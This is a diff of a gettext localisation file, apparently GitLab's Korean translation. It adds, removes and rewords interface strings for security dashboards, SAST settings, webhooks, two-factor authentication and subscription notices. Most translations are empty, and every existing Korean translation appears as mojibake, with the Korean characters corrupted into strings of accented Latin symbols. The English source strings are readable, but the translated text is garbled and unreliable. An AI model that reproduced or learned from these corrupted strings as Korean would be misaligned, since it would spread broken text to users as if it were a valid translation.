msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21181,6 +21798,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21208,7 +21828,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21244,13 +21864,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21265,19 +21882,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21289,6 +21900,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21307,13 +21921,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21385,7 +21999,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21394,6 +22008,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21424,9 +22041,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr "ì„ íƒ"
@@ -21550,6 +22164,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr "소스 브랜치 ì„ íƒ"
@@ -21580,6 +22197,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr "ì‚¬ìš©ìž ì„ íƒ"
@@ -21769,6 +22389,12 @@ msgstr "서비스 ë°ìŠ¤í¬"
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr "서비스 템플릿"
@@ -21781,6 +22407,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22095,19 +22727,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22203,6 +22835,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22245,7 +22880,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22296,12 +22931,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22359,6 +23003,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr "ë²„íŠ¼ì„ í† ê¸€í•˜ë˜ ì¤‘ 문제가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
@@ -22488,10 +23135,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23388,6 +24035,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr "ì •ë³´ ë™ê¸°í™”"
@@ -23436,6 +24086,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23448,6 +24101,9 @@ msgstr ""
msgid "Tags"
msgstr "태그 "
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr "태그 피드"
@@ -23627,6 +24283,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr "테스트 커버리지 파싱"
@@ -23694,9 +24356,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23733,14 +24392,11 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23767,6 +24423,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23797,6 +24456,9 @@ msgstr "해당 단계ì—ì„œ 수집 ëœ ë°ì´í„°ê°€ ì´ë²¤íŠ¸ 모ìŒì— 추가ë
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23851,6 +24513,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -23951,13 +24619,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -23996,6 +24664,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr "ì´ í”„ë¡œì íŠ¸ëŠ” ì¸ì¦ì—†ì´ 액세스 í•  수 있습니다."
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24113,6 +24784,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24188,12 +24862,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24206,6 +24883,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24356,19 +25036,19 @@ msgstr "ì´ ë¼ë²¨ì„ 구ë…í•˜ë˜ ì¤‘ 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
msgid "There was an error when unsubscribing from this label."
msgstr "ì´ ë¼ë²¨ì„ 구ë…ì·¨ì†Œí•˜ë˜ ì¤‘ 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24392,6 +25072,9 @@ msgstr "타사 제공"
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24422,7 +25105,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24596,9 +25279,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr "ì´ ì´ìŠˆëŠ” 비밀입니다."
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24761,15 +25441,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24830,6 +25510,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25201,9 +25884,6 @@ msgstr "SVN ì €ìž¥ì†Œì— ì—°ê²°í•˜ë ¤ë©´ %{svn_link}ì„ í™•ì¸í•˜ì‹­ì‹œì˜¤."
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25288,9 +25968,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25312,9 +25998,6 @@ msgstr ""
msgid "Today"
msgstr "오늘"
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25375,6 +26058,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr "ë‚´ì¼"
@@ -25519,6 +26205,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25588,9 +26277,18 @@ msgstr "ë„기"
msgid "Turn On"
msgstr "켜기"
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr "서비스 ë°ìŠ¤í¬ 켜기"
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr "Twitter"
@@ -25606,12 +26304,24 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
-msgstr ""
-
msgid "Two-factor authentication"
msgstr "2단계 ì¸ì¦"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
+msgstr ""
+
msgid "Type"
msgstr ""
@@ -25792,8 +26502,8 @@ msgstr "잠금 해제"
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
-msgstr "%{issuableDisplayName}(ì„)를 잠금해제 하시겠습니까? <strong>모ë‘ê°€</strong> 코멘트 í•  수 있게 ë©ë‹ˆë‹¤."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
+msgstr ""
msgid "Unlocked"
msgstr "잠금 í•´ì œë¨"
@@ -25882,6 +26592,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr "ê²€ì¦ë˜ì§€ ì•ŠìŒ"
@@ -25963,9 +26676,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -25981,8 +26691,8 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
-msgstr "고급 글로벌 ê²€ìƒ‰ì„ í™œì„±í™”í•˜ê¸° 위해 í”Œëžœì„ ì—…ê·¸ë ˆì´ë“œí•˜ì„¸ìš”."
+msgid "Upgrade your plan to activate Advanced Search."
+msgstr ""
msgid "Upgrade your plan to activate Audit Events."
msgstr ""
@@ -26056,8 +26766,8 @@ msgstr "추천"
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
-msgstr "ping ì‚¬ìš©ì´ í™œì„±í™” ë˜ì§€ 않았습니다."
+msgid "Usage ping is off"
+msgstr ""
msgid "Usage statistics"
msgstr "사용 통계"
@@ -26146,9 +26856,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26200,9 +26907,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26446,9 +27150,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26482,6 +27192,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26518,6 +27231,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26560,6 +27276,12 @@ msgstr ""
msgid "Version"
msgstr "버전"
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26760,6 +27482,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26823,9 +27548,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -26967,7 +27689,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr "비밀번호 재설정 ë°©ë²•ì´ ë‹´ê¸´ ì´ë©”ì¼ì„ 보냈습니다."
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27012,6 +27734,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr "수요ì¼"
@@ -27033,21 +27839,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27057,6 +27863,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27373,11 +28182,11 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "%{project_full_name} 프로ì íŠ¸ë¥¼ 삭제하려고 합니다. ì‚­ì œëœ í”„ë¡œì íŠ¸ëŠ” \"절대로\" 복구할 수 없습니다! \"ì •ë§ë¡œ\" 확실합니까?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
msgstr ""
@@ -27385,6 +28194,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr "%{project_full_name} (ì„) 를 다른 소유ìžì—게 ì´ì „하려고합니다. \"ì •ë§ë¡œ\" 확실합니까?"
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27394,6 +28209,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27430,9 +28248,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27466,13 +28281,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27556,10 +28371,10 @@ msgstr "ì½ê¸° ì „ìš© GitLab ì¸ìŠ¤í„´ìŠ¤ì—는 쓰기가 불가능합니다."
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27772,6 +28587,9 @@ msgstr "ë‹¹ì‹ ì˜ ê³„ì •ì— %{set_password_link} ì„ í•˜ê¸° ì „ì—는 %{protocol
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
